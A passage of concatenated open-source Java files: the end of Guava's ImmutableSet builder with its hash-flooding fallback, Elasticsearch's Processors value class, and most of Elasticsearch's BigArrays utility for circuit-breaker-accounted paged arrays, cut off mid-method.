* If more than this many consecutive positions are filled in a table of the specified size,
* report probable hash flooding. ({@link #hashFloodingDetected} may also report hash flooding
* if fewer consecutive positions are filled; see that method for details.)
*/
static int maxRunBeforeFallback(int tableSize) {
return MAX_RUN_MULTIPLIER * IntMath.log2(tableSize, RoundingMode.UNNECESSARY);
}
}
/**
* SetBuilderImpl version that uses a JDK HashSet, which has built in hash flooding protection.
*/
private static final class JdkBackedSetBuilderImpl<E> extends SetBuilderImpl<E> {
private final Set<Object> delegate;
JdkBackedSetBuilderImpl(SetBuilderImpl<E> toCopy) {
super(toCopy); // initializes dedupedElements and distinct
delegate = Sets.newHashSetWithExpectedSize(distinct);
for (int i = 0; i < distinct; i++) {
/*
* requireNonNull is safe because we ensure that the first `distinct` elements have been
* populated.
*/
delegate.add(requireNonNull(dedupedElements[i]));
}
}
@Override
SetBuilderImpl<E> add(E e) {
checkNotNull(e);
if (delegate.add(e)) {
addDedupedElement(e);
}
return this;
}
@Override
SetBuilderImpl<E> copy() {
return new JdkBackedSetBuilderImpl<>(this);
}
@Override
ImmutableSet<E> build() {
switch (distinct) {
case 0:
return of();
case 1:
/*
* requireNonNull is safe because we ensure that the first `distinct` elements have been
* populated.
*/
return of(requireNonNull(dedupedElements[0]));
default:
return new JdkBackedImmutableSet<>(
delegate, ImmutableList.asImmutableList(dedupedElements, distinct));
}
}
}
private static int estimatedSizeForUnknownDuplication(int inputElementsIncludingAnyDuplicates) {
if (inputElementsIncludingAnyDuplicates
< ImmutableCollection.Builder.DEFAULT_INITIAL_CAPACITY) {
return inputElementsIncludingAnyDuplicates;
}
// Guess the size is "halfway between" all duplicates and no duplicates, on a log scale.
return Math.max(
ImmutableCollection.Builder.DEFAULT_INITIAL_CAPACITY,
IntMath.sqrt(inputElementsIncludingAnyDuplicates, RoundingMode.CEILING));
}
private static final long serialVersionUID = 0xcafebabe;
}
| google/guava | guava/src/com/google/common/collect/ImmutableSet.java |
1,384 | /*
* Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
* or more contributor license agreements. Licensed under the Elastic License
* 2.0 and the Server Side Public License, v 1; you may not use this file except
* in compliance with, at your election, the Elastic License 2.0 or the Server
* Side Public License, v 1.
*/
package org.elasticsearch.common.unit;
import org.elasticsearch.TransportVersion;
import org.elasticsearch.TransportVersions;
import org.elasticsearch.common.io.stream.StreamInput;
import org.elasticsearch.common.io.stream.StreamOutput;
import org.elasticsearch.common.io.stream.Writeable;
import org.elasticsearch.core.Nullable;
import org.elasticsearch.xcontent.ToXContentFragment;
import org.elasticsearch.xcontent.XContentBuilder;
import org.elasticsearch.xcontent.XContentParser;
import java.io.IOException;
import java.math.BigDecimal;
import java.math.RoundingMode;
import java.util.Locale;
import java.util.Objects;
import static java.lang.String.format;
public class Processors implements Writeable, Comparable<Processors>, ToXContentFragment {
public static final Processors ZERO = new Processors(0.0);
public static final Processors MAX_PROCESSORS = new Processors(Double.MAX_VALUE);
public static final TransportVersion FLOAT_PROCESSORS_SUPPORT_TRANSPORT_VERSION = TransportVersions.V_8_3_0;
public static final TransportVersion DOUBLE_PROCESSORS_SUPPORT_TRANSPORT_VERSION = TransportVersions.V_8_5_0;
static final int NUMBER_OF_DECIMAL_PLACES = 5;
private static final double MIN_REPRESENTABLE_PROCESSORS = 1E-5;
private final double count;
private Processors(double count) {
// Avoid rounding up to MIN_REPRESENTABLE_PROCESSORS when 0 processors are used
if (count == 0.0) {
this.count = count;
} else {
this.count = Math.max(
MIN_REPRESENTABLE_PROCESSORS,
new BigDecimal(count).setScale(NUMBER_OF_DECIMAL_PLACES, RoundingMode.HALF_UP).doubleValue()
);
}
}
@Nullable
public static Processors of(Double count) {
if (count == null) {
return null;
}
if (validNumberOfProcessors(count) == false) {
throw new IllegalArgumentException("processors must be a positive number; provided [" + count + "]");
}
return new Processors(count);
}
public static Processors readFrom(StreamInput in) throws IOException {
final double processorCount;
if (in.getTransportVersion().before(FLOAT_PROCESSORS_SUPPORT_TRANSPORT_VERSION)) {
processorCount = in.readInt();
} else if (in.getTransportVersion().before(DOUBLE_PROCESSORS_SUPPORT_TRANSPORT_VERSION)) {
processorCount = in.readFloat();
} else {
processorCount = in.readDouble();
}
return new Processors(processorCount);
}
@Override
public void writeTo(StreamOutput out) throws IOException {
if (out.getTransportVersion().before(FLOAT_PROCESSORS_SUPPORT_TRANSPORT_VERSION)) {
assert hasDecimals() == false;
out.writeInt((int) count);
} else if (out.getTransportVersion().before(DOUBLE_PROCESSORS_SUPPORT_TRANSPORT_VERSION)) {
out.writeFloat((float) count);
} else {
out.writeDouble(count);
}
}
@Nullable
public static Processors fromXContent(XContentParser parser) throws IOException {
final double count = parser.doubleValue();
if (validNumberOfProcessors(count) == false) {
throw new IllegalArgumentException(
format(Locale.ROOT, "Only a positive number of [%s] are allowed and [%f] was provided", parser.currentName(), count)
);
}
return new Processors(count);
}
@Override
public XContentBuilder toXContent(XContentBuilder builder, Params params) throws IOException {
return builder.value(count);
}
public Processors plus(Processors other) {
final double newProcessorCount = count + other.count;
if (Double.isFinite(newProcessorCount) == false) {
throw new ArithmeticException("Unable to add [" + this + "] and [" + other + "] the resulting value overflows");
}
return new Processors(newProcessorCount);
}
public Processors multiply(int value) {
if (value <= 0) {
throw new IllegalArgumentException("Processors cannot be multiplied by a negative number");
}
final double newProcessorCount = count * value;
if (Double.isFinite(newProcessorCount) == false) {
throw new ArithmeticException("Unable to multiply [" + this + "] by [" + value + "] the resulting value overflows");
}
return new Processors(newProcessorCount);
}
public double count() {
return count;
}
public int roundUp() {
return (int) Math.ceil(count);
}
public int roundDown() {
return Math.max(1, (int) Math.floor(count));
}
private static boolean validNumberOfProcessors(double processors) {
return Double.isFinite(processors) && processors > 0.0;
}
public boolean hasDecimals() {
return ((int) count) != Math.ceil(count);
}
@Override
public int compareTo(Processors o) {
return Double.compare(count, o.count);
}
public static boolean equalsOrCloseTo(Processors a, Processors b) {
return (a == b) || (a != null && (a.equals(b) || a.closeToAsFloat(b)));
}
private boolean closeToAsFloat(Processors b) {
if (b == null) {
return false;
}
float floatCount = (float) count;
float otherFloatCount = (float) b.count;
float maxError = Math.max(Math.ulp(floatCount), Math.ulp(otherFloatCount)) + (float) MIN_REPRESENTABLE_PROCESSORS;
return Float.isFinite(floatCount) && Float.isFinite(otherFloatCount) && (Math.abs(floatCount - otherFloatCount) < maxError);
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
Processors that = (Processors) o;
return Double.compare(that.count, count) == 0;
}
@Override
public int hashCode() {
return Objects.hash(count);
}
@Override
public String toString() {
return Double.toString(count);
}
}
| elastic/elasticsearch | server/src/main/java/org/elasticsearch/common/unit/Processors.java |
1,387 | /*
* Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
* or more contributor license agreements. Licensed under the Elastic License
* 2.0 and the Server Side Public License, v 1; you may not use this file except
* in compliance with, at your election, the Elastic License 2.0 or the Server
* Side Public License, v 1.
*/
package org.elasticsearch.common.util;
import org.apache.lucene.util.ArrayUtil;
import org.apache.lucene.util.BytesRef;
import org.apache.lucene.util.BytesRefIterator;
import org.apache.lucene.util.RamUsageEstimator;
import org.elasticsearch.common.breaker.CircuitBreaker;
import org.elasticsearch.common.breaker.CircuitBreakingException;
import org.elasticsearch.common.breaker.PreallocatedCircuitBreakerService;
import org.elasticsearch.common.io.stream.StreamInput;
import org.elasticsearch.common.io.stream.StreamOutput;
import org.elasticsearch.common.recycler.Recycler;
import org.elasticsearch.core.Nullable;
import org.elasticsearch.core.Releasable;
import org.elasticsearch.core.Releasables;
import org.elasticsearch.indices.breaker.CircuitBreakerService;
import java.io.IOException;
import java.util.Arrays;
import static org.elasticsearch.common.util.BigDoubleArray.VH_PLATFORM_NATIVE_DOUBLE;
import static org.elasticsearch.common.util.BigFloatArray.VH_PLATFORM_NATIVE_FLOAT;
import static org.elasticsearch.common.util.BigIntArray.VH_PLATFORM_NATIVE_INT;
import static org.elasticsearch.common.util.BigLongArray.VH_PLATFORM_NATIVE_LONG;
/** Utility class to work with arrays. */
public class BigArrays {
public static final BigArrays NON_RECYCLING_INSTANCE = new BigArrays(null, null, CircuitBreaker.REQUEST);
/** Returns the next size to grow when working with parallel arrays that
* may have different page sizes or number of bytes per element. */
public static long overSize(long minTargetSize) {
return overSize(minTargetSize, PageCacheRecycler.PAGE_SIZE_IN_BYTES / 8, 1);
}
/** Return the next size to grow to that is >= <code>minTargetSize</code>.
* Inspired from {@link ArrayUtil#oversize(int, int)} and adapted to play nicely with paging. */
public static long overSize(long minTargetSize, int pageSize, int bytesPerElement) {
if (minTargetSize < 0) {
throw new IllegalArgumentException("minTargetSize must be >= 0");
}
if (pageSize < 0) {
throw new IllegalArgumentException("pageSize must be > 0");
}
if (bytesPerElement <= 0) {
throw new IllegalArgumentException("bytesPerElement must be > 0");
}
long newSize;
if (minTargetSize < pageSize) {
newSize = Math.min(ArrayUtil.oversize((int) minTargetSize, bytesPerElement), pageSize);
} else {
final long pages = (minTargetSize + pageSize - 1) / pageSize; // ceil(minTargetSize/pageSize)
newSize = pages * pageSize;
}
return newSize;
}
static boolean indexIsInt(long index) {
return index == (int) index;
}
private abstract static class AbstractArrayWrapper extends AbstractArray implements BigArray {
static final long SHALLOW_SIZE = RamUsageEstimator.shallowSizeOfInstance(ByteArrayWrapper.class);
private final Releasable releasable;
private final long size;
AbstractArrayWrapper(BigArrays bigArrays, long size, Releasable releasable, boolean clearOnResize) {
super(bigArrays, clearOnResize);
this.releasable = releasable;
this.size = size;
}
@Override
public final long size() {
return size;
}
@Override
protected final void doClose() {
Releasables.close(releasable);
}
}
private static class ByteArrayWrapper extends AbstractArrayWrapper implements ByteArray {
private final byte[] array;
ByteArrayWrapper(BigArrays bigArrays, byte[] array, long size, Recycler.V<byte[]> releasable, boolean clearOnResize) {
super(bigArrays, size, releasable, clearOnResize);
this.array = array;
}
@Override
public long ramBytesUsed() {
return SHALLOW_SIZE + RamUsageEstimator.sizeOf(array);
}
@Override
public byte get(long index) {
assert indexIsInt(index);
return array[(int) index];
}
@Override
public byte set(long index, byte value) {
assert indexIsInt(index);
final byte ret = array[(int) index];
array[(int) index] = value;
return ret;
}
@Override
public boolean get(long index, int len, BytesRef ref) {
assert indexIsInt(index);
ref.bytes = array;
ref.offset = (int) index;
ref.length = len;
return false;
}
@Override
public void set(long index, byte[] buf, int offset, int len) {
assert indexIsInt(index);
System.arraycopy(buf, offset, array, (int) index, len);
}
@Override
public void fill(long fromIndex, long toIndex, byte value) {
assert indexIsInt(fromIndex);
assert indexIsInt(toIndex);
Arrays.fill(array, (int) fromIndex, (int) toIndex, value);
}
@Override
public BytesRefIterator iterator() {
return new BytesRefIterator() {
boolean visited = false;
@Override
public BytesRef next() {
if (visited) {
return null;
}
visited = true;
return new BytesRef(array, 0, Math.toIntExact(size()));
}
};
}
@Override
public void fillWith(StreamInput in) throws IOException {
in.readBytes(array, 0, Math.toIntExact(size()));
}
@Override
public boolean hasArray() {
return true;
}
@Override
public byte[] array() {
return array;
}
@Override
public void writeTo(StreamOutput out) throws IOException {
int size = Math.toIntExact(size()) * Byte.BYTES;
out.writeVInt(size);
out.write(array, 0, size);
}
}
private static class ByteArrayAsIntArrayWrapper extends AbstractArrayWrapper implements IntArray {
final byte[] array;
ByteArrayAsIntArrayWrapper(BigArrays bigArrays, long size, boolean clearOnResize) {
super(bigArrays, size, null, clearOnResize);
assert size >= 0L && size <= PageCacheRecycler.INT_PAGE_SIZE;
this.array = new byte[(int) size << 2];
}
@Override
public void writeTo(StreamOutput out) throws IOException {
int intSize = (int) size();
out.writeVInt(intSize * 4);
out.write(array, 0, intSize * Integer.BYTES);
}
@Override
public long ramBytesUsed() {
return SHALLOW_SIZE + RamUsageEstimator.sizeOf(array);
}
@Override
public int get(long index) {
assert index >= 0 && index < size();
return (int) VH_PLATFORM_NATIVE_INT.get(array, (int) index << 2);
}
@Override
public int set(long index, int value) {
assert index >= 0 && index < size();
final int ret = (int) VH_PLATFORM_NATIVE_INT.get(array, (int) index << 2);
VH_PLATFORM_NATIVE_INT.set(array, (int) index << 2, value);
return ret;
}
@Override
public int increment(long index, int inc) {
assert index >= 0 && index < size();
final int ret = (int) VH_PLATFORM_NATIVE_INT.get(array, (int) index << 2) + inc;
VH_PLATFORM_NATIVE_INT.set(array, (int) index << 2, ret);
return ret;
}
@Override
public void fill(long fromIndex, long toIndex, int value) {
assert fromIndex >= 0 && fromIndex <= toIndex;
assert toIndex >= 0 && toIndex <= size();
BigIntArray.fill(array, (int) fromIndex, (int) toIndex, value);
}
@Override
public void fillWith(StreamInput in) throws IOException {
final int numBytes = in.readVInt();
in.readBytes(array, 0, numBytes);
}
@Override
public void set(long index, byte[] buf, int offset, int len) {
assert index >= 0 && index < size();
System.arraycopy(buf, offset << 2, array, (int) index << 2, len << 2);
}
}
private static class ByteArrayAsLongArrayWrapper extends AbstractArrayWrapper implements LongArray {
private final byte[] array;
ByteArrayAsLongArrayWrapper(BigArrays bigArrays, long size, boolean clearOnResize) {
super(bigArrays, size, null, clearOnResize);
assert size >= 0 && size <= PageCacheRecycler.LONG_PAGE_SIZE;
this.array = new byte[(int) size << 3];
}
@Override
public long ramBytesUsed() {
return SHALLOW_SIZE + RamUsageEstimator.sizeOf(array);
}
@Override
public long get(long index) {
assert index >= 0 && index < size();
return (long) VH_PLATFORM_NATIVE_LONG.get(array, (int) index << 3);
}
@Override
public long set(long index, long value) {
assert index >= 0 && index < size();
final long ret = (long) VH_PLATFORM_NATIVE_LONG.get(array, (int) index << 3);
VH_PLATFORM_NATIVE_LONG.set(array, (int) index << 3, value);
return ret;
}
@Override
public long increment(long index, long inc) {
assert index >= 0 && index < size();
final long ret = (long) VH_PLATFORM_NATIVE_LONG.get(array, (int) index << 3) + inc;
VH_PLATFORM_NATIVE_LONG.set(array, (int) index << 3, ret);
return ret;
}
@Override
public void fill(long fromIndex, long toIndex, long value) {
assert fromIndex >= 0 && fromIndex <= toIndex;
assert toIndex >= 0 && toIndex <= size();
BigLongArray.fill(array, (int) fromIndex, (int) toIndex, value);
}
@Override
public void set(long index, byte[] buf, int offset, int len) {
assert index >= 0 && index < size();
System.arraycopy(buf, offset << 3, array, (int) index << 3, len << 3);
}
@Override
public void writeTo(StreamOutput out) throws IOException {
int size = Math.toIntExact(size()) * Long.BYTES;
out.writeVInt(size);
out.write(array, 0, size);
}
@Override
public void fillWith(StreamInput in) throws IOException {
int len = in.readVInt();
in.readBytes(array, 0, len);
}
}
private static class ByteArrayAsDoubleArrayWrapper extends AbstractArrayWrapper implements DoubleArray {
private final byte[] array;
ByteArrayAsDoubleArrayWrapper(BigArrays bigArrays, long size, boolean clearOnResize) {
super(bigArrays, size, null, clearOnResize);
assert size >= 0L && size <= PageCacheRecycler.DOUBLE_PAGE_SIZE;
this.array = new byte[(int) size << 3];
}
@Override
public long ramBytesUsed() {
return SHALLOW_SIZE + RamUsageEstimator.sizeOf(array);
}
@Override
public double get(long index) {
assert index >= 0 && index < size();
return (double) VH_PLATFORM_NATIVE_DOUBLE.get(array, (int) index << 3);
}
@Override
public double set(long index, double value) {
assert index >= 0 && index < size();
final double ret = (double) VH_PLATFORM_NATIVE_DOUBLE.get(array, (int) index << 3);
VH_PLATFORM_NATIVE_DOUBLE.set(array, (int) index << 3, value);
return ret;
}
@Override
public double increment(long index, double inc) {
assert index >= 0 && index < size();
final double ret = (double) VH_PLATFORM_NATIVE_DOUBLE.get(array, (int) index << 3) + inc;
VH_PLATFORM_NATIVE_DOUBLE.set(array, (int) index << 3, ret);
return ret;
}
@Override
public void fill(long fromIndex, long toIndex, double value) {
assert fromIndex >= 0 && fromIndex <= toIndex;
assert toIndex >= 0 && toIndex <= size();
BigDoubleArray.fill(array, (int) fromIndex, (int) toIndex, value);
}
@Override
public void fillWith(StreamInput in) throws IOException {
int numBytes = in.readVInt();
in.readBytes(array, 0, numBytes);
}
@Override
public void set(long index, byte[] buf, int offset, int len) {
assert index >= 0 && index < size();
System.arraycopy(buf, offset << 3, array, (int) index << 3, len << 3);
}
@Override
public void writeTo(StreamOutput out) throws IOException {
int size = (int) size();
out.writeVInt(size * 8);
out.write(array, 0, size * Double.BYTES);
}
}
private static class ByteArrayAsFloatArrayWrapper extends AbstractArrayWrapper implements FloatArray {
private final byte[] array;
ByteArrayAsFloatArrayWrapper(BigArrays bigArrays, long size, boolean clearOnResize) {
super(bigArrays, size, null, clearOnResize);
assert size >= 0 && size <= PageCacheRecycler.FLOAT_PAGE_SIZE;
this.array = new byte[(int) size << 2];
}
@Override
public long ramBytesUsed() {
return SHALLOW_SIZE + RamUsageEstimator.sizeOf(array);
}
@Override
public float get(long index) {
assert index >= 0 && index < size();
return (float) VH_PLATFORM_NATIVE_FLOAT.get(array, (int) index << 2);
}
@Override
public float set(long index, float value) {
assert index >= 0 && index < size();
final float ret = (float) VH_PLATFORM_NATIVE_FLOAT.get(array, (int) index << 2);
VH_PLATFORM_NATIVE_FLOAT.set(array, (int) index << 2, value);
return ret;
}
@Override
public void fill(long fromIndex, long toIndex, float value) {
assert fromIndex >= 0 && fromIndex <= toIndex;
assert toIndex >= 0 && toIndex <= size();
BigFloatArray.fill(array, (int) fromIndex, (int) toIndex, value);
}
@Override
public void set(long index, byte[] buf, int offset, int len) {
assert index >= 0 && index < size();
System.arraycopy(buf, offset << 2, array, (int) index << 2, len << 2);
}
}
private static class ObjectArrayWrapper<T> extends AbstractArrayWrapper implements ObjectArray<T> {
private final Object[] array;
ObjectArrayWrapper(BigArrays bigArrays, Object[] array, long size, Recycler.V<Object[]> releasable) {
super(bigArrays, size, releasable, true);
this.array = array;
}
@Override
public long ramBytesUsed() {
return SHALLOW_SIZE + RamUsageEstimator.alignObjectSize(
RamUsageEstimator.NUM_BYTES_ARRAY_HEADER + RamUsageEstimator.NUM_BYTES_OBJECT_REF * size()
);
}
@SuppressWarnings("unchecked")
@Override
public T get(long index) {
assert index >= 0 && index < size();
return (T) array[(int) index];
}
@Override
public T set(long index, T value) {
assert index >= 0 && index < size();
@SuppressWarnings("unchecked")
T ret = (T) array[(int) index];
array[(int) index] = value;
return ret;
}
}
final PageCacheRecycler recycler;
@Nullable
private final CircuitBreakerService breakerService;
@Nullable
private final CircuitBreaker breaker;
private final boolean checkBreaker;
private final BigArrays circuitBreakingInstance;
private final String breakerName;
public BigArrays(PageCacheRecycler recycler, @Nullable final CircuitBreakerService breakerService, String breakerName) {
// Checking the breaker is disabled if not specified
this(recycler, breakerService, breakerName, false);
}
protected BigArrays(
PageCacheRecycler recycler,
@Nullable final CircuitBreakerService breakerService,
String breakerName,
boolean checkBreaker
) {
this.checkBreaker = checkBreaker;
this.recycler = recycler;
this.breakerService = breakerService;
if (breakerService != null) {
breaker = breakerService.getBreaker(breakerName);
} else {
breaker = null;
}
this.breakerName = breakerName;
if (checkBreaker) {
this.circuitBreakingInstance = this;
} else {
this.circuitBreakingInstance = new BigArrays(recycler, breakerService, breakerName, true);
}
}
/**
* Adjust the circuit breaker with the given delta, if the delta is
* negative, or checkBreaker is false, the breaker will be adjusted
* without tripping. If the data was already created before calling
* this method, and the breaker trips, we add the delta without breaking
* to account for the created data. If the data has not been created yet,
* we do not add the delta to the breaker if it trips.
*/
void adjustBreaker(final long delta, final boolean isDataAlreadyCreated) {
if (this.breaker != null) {
if (this.checkBreaker) {
// checking breaker means potentially tripping, but it doesn't
// have to if the delta is negative
if (delta > 0) {
try {
breaker.addEstimateBytesAndMaybeBreak(delta, "<reused_arrays>");
} catch (CircuitBreakingException e) {
if (isDataAlreadyCreated) {
// since we've already created the data, we need to
// add it so closing the stream re-adjusts properly
breaker.addWithoutBreaking(delta);
}
// re-throw the original exception
throw e;
}
} else {
breaker.addWithoutBreaking(delta);
}
} else {
// even if we are not checking the breaker, we need to adjust
// its' totals, so add without breaking
breaker.addWithoutBreaking(delta);
}
}
}
/**
* Return an instance of this BigArrays class with circuit breaking
* explicitly enabled, instead of only accounting enabled
*/
public BigArrays withCircuitBreaking() {
return this.circuitBreakingInstance;
}
/**
* Creates a new {@link BigArray} pointing at the specified
* {@link CircuitBreakerService}. Use with {@link PreallocatedCircuitBreakerService}.
*/
public BigArrays withBreakerService(CircuitBreakerService breakerService) {
return new BigArrays(recycler, breakerService, breakerName, checkBreaker);
}
public CircuitBreakerService breakerService() { // TODO this feels like it is for tests but it has escaped
return this.circuitBreakingInstance.breakerService;
}
private <T extends AbstractBigArray> T resizeInPlace(T array, long newSize) {
final long oldMemSize = array.ramBytesUsed();
final long oldSize = array.size();
assert oldMemSize == array.ramBytesEstimated(oldSize)
: "ram bytes used should equal that which was previously estimated: ramBytesUsed="
+ oldMemSize
+ ", ramBytesEstimated="
+ array.ramBytesEstimated(oldSize);
final long estimatedIncreaseInBytes = array.ramBytesEstimated(newSize) - oldMemSize;
adjustBreaker(estimatedIncreaseInBytes, false);
array.resize(newSize);
return array;
}
private <T extends BigArray> T validate(T array) {
boolean success = false;
try {
adjustBreaker(array.ramBytesUsed(), true);
success = true;
} finally {
if (success == false) {
Releasables.closeExpectNoException(array);
}
}
return array;
}
/**
* Allocate a new {@link ByteArray}.
* @param size the initial length of the array
* @param clearOnResize whether values should be set to 0 on initialization and resize
*/
public ByteArray newByteArray(long size, boolean clearOnResize) {
if (size > PageCacheRecycler.BYTE_PAGE_SIZE) {
// when allocating big arrays, we want to first ensure we have the capacity by
// checking with the circuit breaker before attempting to allocate
adjustBreaker(BigByteArray.estimateRamBytes(size), false);
return new BigByteArray(size, this, clearOnResize);
} else if (size >= PageCacheRecycler.BYTE_PAGE_SIZE / 2 && recycler != null) {
final Recycler.V<byte[]> page = recycler.bytePage(clearOnResize);
return validate(new ByteArrayWrapper(this, page.v(), size, page, clearOnResize));
} else {
return validate(new ByteArrayWrapper(this, new byte[(int) size], size, null, clearOnResize));
}
}
/**
* Allocate a new {@link ByteArray} initialized with zeros.
* @param size the initial length of the array
*/
public ByteArray newByteArray(long size) {
return newByteArray(size, true);
}
/** Resize the array to the exact provided size. */
public ByteArray resize(ByteArray array, long size) {
if (array instanceof BigByteArray) {
return resizeInPlace((BigByteArray) array, size);
} else {
AbstractArray arr = (AbstractArray) array;
final ByteArray newArray = newByteArray(size, arr.clearOnResize);
final byte[] rawArray = ((ByteArrayWrapper) array).array;
newArray.set(0, rawArray, 0, (int) Math.min(rawArray.length, newArray.size()));
arr.close();
return newArray;
}
}
/** Grow an array to a size that is larger than <code>minSize</code>,
* preserving content, and potentially reusing part of the provided array. */
public ByteArray grow(ByteArray array, long minSize) {
if (minSize <= array.size()) {
return array;
}
final long newSize = overSize(minSize, PageCacheRecycler.BYTE_PAGE_SIZE, 1);
return resize(array, newSize);
}
/** @see Arrays#hashCode(byte[]) */
public static int hashCode(ByteArray array) {
if (array == null) {
return 0;
}
int hash = 1;
for (long i = 0; i < array.size(); i++) {
hash = 31 * hash + array.get(i);
}
return hash;
}
/** @see Arrays#equals(byte[], byte[]) */
public static boolean equals(ByteArray array, ByteArray other) {
if (array == other) {
return true;
}
if (array.size() != other.size()) {
return false;
}
for (long i = 0; i < array.size(); i++) {
if (array.get(i) != other.get(i)) {
return false;
}
}
return true;
}
/**
* Allocate a new {@link IntArray}.
* @param size the initial length of the array
* @param clearOnResize whether values should be set to 0 on initialization and resize
*/
public IntArray newIntArray(long size, boolean clearOnResize) {
if (size > PageCacheRecycler.INT_PAGE_SIZE || (size >= PageCacheRecycler.INT_PAGE_SIZE / 2 && recycler != null)) {
// when allocating big arrays, we want to first ensure we have the capacity by
// checking with the circuit breaker before attempting to allocate
adjustBreaker(BigIntArray.estimateRamBytes(size), false);
return new BigIntArray(size, this, clearOnResize);
} else {
return validate(new ByteArrayAsIntArrayWrapper(this, size, clearOnResize));
}
}
/**
* Allocate a new {@link IntArray}.
* @param size the initial length of the array
*/
public IntArray newIntArray(long size) {
return newIntArray(size, true);
}
/** Resize the array to the exact provided size. */
public IntArray resize(IntArray array, long size) {
if (array instanceof BigIntArray) {
return resizeInPlace((BigIntArray) array, size);
} else {
AbstractArray arr = (AbstractArray) array;
final IntArray newArray = newIntArray(size, arr.clearOnResize);
newArray.set(0, ((ByteArrayAsIntArrayWrapper) arr).array, 0, (int) Math.min(size, array.size()));
array.close();
return newArray;
}
}
/** Grow an array to a size that is larger than <code>minSize</code>,
* preserving content, and potentially reusing part of the provided array. */
public IntArray grow(IntArray array, long minSize) {
if (minSize <= array.size()) {
return array;
}
final long newSize = overSize(minSize, PageCacheRecycler.INT_PAGE_SIZE, Integer.BYTES);
return resize(array, newSize);
}
/**
* Allocate a new {@link LongArray}.
* @param size the initial length of the array
* @param clearOnResize whether values should be set to 0 on initialization and resize
*/
public LongArray newLongArray(long size, boolean clearOnResize) {
if (size > PageCacheRecycler.LONG_PAGE_SIZE || (size >= PageCacheRecycler.LONG_PAGE_SIZE / 2 && recycler != null)) {
// when allocating big arrays, we want to first ensure we have the capacity by
// checking with the circuit breaker before attempting to allocate
adjustBreaker(BigLongArray.estimateRamBytes(size), false);
return new BigLongArray(size, this, clearOnResize);
} else {
return validate(new ByteArrayAsLongArrayWrapper(this, size, clearOnResize));
}
}
/**
* Allocate a new {@link LongArray}.
* @param size the initial length of the array
*/
public LongArray newLongArray(long size) {
return newLongArray(size, true);
}
/** Resize the array to the exact provided size. */
public LongArray resize(LongArray array, long size) {
if (array instanceof BigLongArray) {
return resizeInPlace((BigLongArray) array, size);
} else {
AbstractArray arr = (AbstractArray) array;
final LongArray newArray = newLongArray(size, arr.clearOnResize);
newArray.set(0, ((ByteArrayAsLongArrayWrapper) arr).array, 0, (int) Math.min(size, array.size()));
array.close();
return newArray;
}
}
/** Grow an array to a size that is larger than <code>minSize</code>,
* preserving content, and potentially reusing part of the provided array. */
public LongArray grow(LongArray array, long minSize) {
if (minSize <= array.size()) {
return array;
}
final long newSize = overSize(minSize, PageCacheRecycler.LONG_PAGE_SIZE, Long.BYTES);
return resize(array, newSize);
}
/**
* Allocate a new {@link DoubleArray}.
* @param size the initial length of the array
* @param clearOnResize whether values should be set to 0 on initialization and resize
*/
public DoubleArray newDoubleArray(long size, boolean clearOnResize) {
if (size > PageCacheRecycler.DOUBLE_PAGE_SIZE || (size >= PageCacheRecycler.DOUBLE_PAGE_SIZE / 2 && recycler != null)) {
// when allocating big arrays, we want to first ensure we have the capacity by
// checking with the circuit breaker before attempting to allocate
adjustBreaker(BigDoubleArray.estimateRamBytes(size), false);
return new BigDoubleArray(size, this, clearOnResize);
} else {
return validate(new ByteArrayAsDoubleArrayWrapper(this, size, clearOnResize));
}
}
/** Allocate a new {@link DoubleArray} of the given capacity. */
public DoubleArray newDoubleArray(long size) {
return newDoubleArray(size, true);
}
/** Resize the array to the exact provided size. */
public DoubleArray resize(DoubleArray array, long size) {
if (array instanceof BigDoubleArray) {
return resizeInPlace((BigDoubleArray) array, size);
} else {
AbstractArray arr = (AbstractArray) array;
final DoubleArray newArray = newDoubleArray(size, arr.clearOnResize);
newArray.set(0, ((ByteArrayAsDoubleArrayWrapper) arr).array, 0, (int) Math.min(size, array.size()));
array.close();
return newArray;
}
}
/** Grow an array to a size that is larger than <code>minSize</code>,
* preserving content, and potentially reusing part of the provided array. */
public DoubleArray grow(DoubleArray array, long minSize) {
if (minSize <= array.size()) {
return array;
}
final long newSize = overSize(minSize, PageCacheRecycler.DOUBLE_PAGE_SIZE, Double.BYTES);
return resize(array, newSize);
}
public static class DoubleBinarySearcher extends BinarySearcher {
DoubleArray array;
double searchFor;
public DoubleBinarySearcher(DoubleArray array) {
this.array = array;
this.searchFor = Integer.MIN_VALUE;
}
@Override
protected int compare(int index) {
// Prevent use of BinarySearcher.search() and force the use of DoubleBinarySearcher.search()
assert this.searchFor != Integer.MIN_VALUE;
return Double.compare(array.get(index), searchFor);
}
@Override
protected double distance(int index) {
return Math.abs(array.get(index) - searchFor);
}
public int search(int from, int to, double searchFor) {
this.searchFor = searchFor;
return super.search(from, to);
}
}
/**
* Allocate a new {@link FloatArray}.
* @param size the initial length of the array
* @param clearOnResize whether values should be set to 0 on initialization and resize
*/
public FloatArray newFloatArray(long size, boolean clearOnResize) {
if (size > PageCacheRecycler.FLOAT_PAGE_SIZE || (size >= PageCacheRecycler.FLOAT_PAGE_SIZE / 2 && recycler != null)) {
// when allocating big arrays, we want to first ensure we have the capacity by
// checking with the circuit breaker before attempting to allocate
adjustBreaker(BigFloatArray.estimateRamBytes(size), false);
return new BigFloatArray(size, this, clearOnResize);
} else {
return validate(new ByteArrayAsFloatArrayWrapper(this, size, clearOnResize));
}
}
/** Allocate a new {@link FloatArray} of the given capacity. */
public FloatArray newFloatArray(long size) {
return newFloatArray(size, true);
}
/** Resize the array to the exact provided size. */
public FloatArray resize(FloatArray array, long size) {
if (array instanceof BigFloatArray) {
return resizeInPlace((BigFloatArray) array, size);
} else {
AbstractArray arr = (AbstractArray) array;
final FloatArray newArray = newFloatArray(size, arr.clearOnResize);
newArray.set(0, ((ByteArrayAsFloatArrayWrapper) arr).array, 0, (int) Math.min(size, array.size()));
arr.close();
return newArray;
}
}
/** Grow an array to a size that is larger than <code>minSize</code>,
* preserving content, and potentially reusing part of the provided array. */
public FloatArray grow(FloatArray array, long minSize) {
if (minSize <= array.size()) {
return array;
}
final long newSize = overSize(minSize, PageCacheRecycler.FLOAT_PAGE_SIZE, Float.BYTES);
return resize(array, newSize);
}
/**
* Allocate a new {@link ObjectArray}.
* @param size the initial length of the array
*/
public <T> ObjectArray<T> newObjectArray(long size) {
if (size > PageCacheRecycler.OBJECT_PAGE_SIZE) {
// when allocating big arrays, we want to first ensure we have the capacity by
// checking with the circuit breaker before attempting to allocate
